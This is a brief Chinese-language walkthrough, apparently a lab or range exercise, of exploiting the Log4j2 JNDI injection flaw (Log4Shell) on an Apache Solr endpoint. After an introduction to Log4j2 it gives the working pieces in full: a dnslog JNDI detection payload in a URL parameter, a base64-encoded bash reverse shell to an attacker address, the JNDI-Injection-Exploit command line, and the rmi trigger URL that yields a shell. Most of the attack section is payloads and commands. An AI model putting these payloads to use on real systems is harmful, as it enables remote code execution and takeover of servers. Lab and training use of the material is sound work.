Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
访问靶场
121.40.158.60:8983/solr/admin/cores?action=1
漏洞判定
利用dnslog
首先访问dnslog获取一个临时域名
然后利用获取到的临时域名构造payload ,直接访问
http://121.40.158.60:8983/solr/admin/cores?action=${jndi:ldap://s98m2z.dnslog.cn}
出现访问记录
漏洞利用
使用kali虚拟机下载JDNI注入工具
构造payload
并base64编码------ bash -i > /dev/tcp/192.168.192.128/6969 0>&1
在kali执行:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMTkyLjEyOC82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.192.128
得到了rmi、ldap参数
监听端口
在浏览器访问payload
121.40.158.60:8983/solr/admin/cores?action=${jndi:rmi://192.168.192.128:1099/wvsnvm}
发现kali这边监听到了,可以执行shell命令
完成